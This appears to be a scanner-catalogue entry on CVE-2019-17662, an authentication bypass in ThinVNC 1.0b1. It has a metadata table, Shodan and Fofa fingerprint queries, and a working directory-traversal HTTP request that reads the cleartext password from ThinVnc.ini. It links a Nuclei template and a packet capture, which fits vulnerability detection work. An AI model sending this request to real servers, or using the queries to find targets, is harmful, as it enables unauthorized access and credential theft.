| Title | ThinVNC 1.0b1 - Authentication Bypass |
|---|---|
| Author | DhiyaneshDK |
| Severity | Critical |
| Impact | An attacker can bypass authentication and gain unauthorized access to the ThinVNC application. |
| Remediation | Upgrade to a patched version of ThinVNC or implement additional authentication mechanisms. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94097 |
| CVE ID | CVE-2019-17662 |
| CWE ID | CWE-22 |
| Shodan Query | http.favicon.hash:-1414548363 |
| Fofa Query | icon_hash=-1414548363 |
| Tags | cve cve2019 packetstorm auth-bypass thinvnc intrusive cybelsoft vuln |
ThinVNC 1.0b1 is vulnerable to arbitrary file read, which leads to a compromise of the VNC server. The vulnerability exists even when authentication is turned on during the deployment of the VNC server. The password for authentication is stored in cleartext in a file that can be read via a ../../ThinVnc.ini directory traversal attack vector.
GET /38FXqupjsEBRBTyghXTpkUDHQHx/../../ThinVnc.ini HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-17662.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-17662.pcap
N/AN/A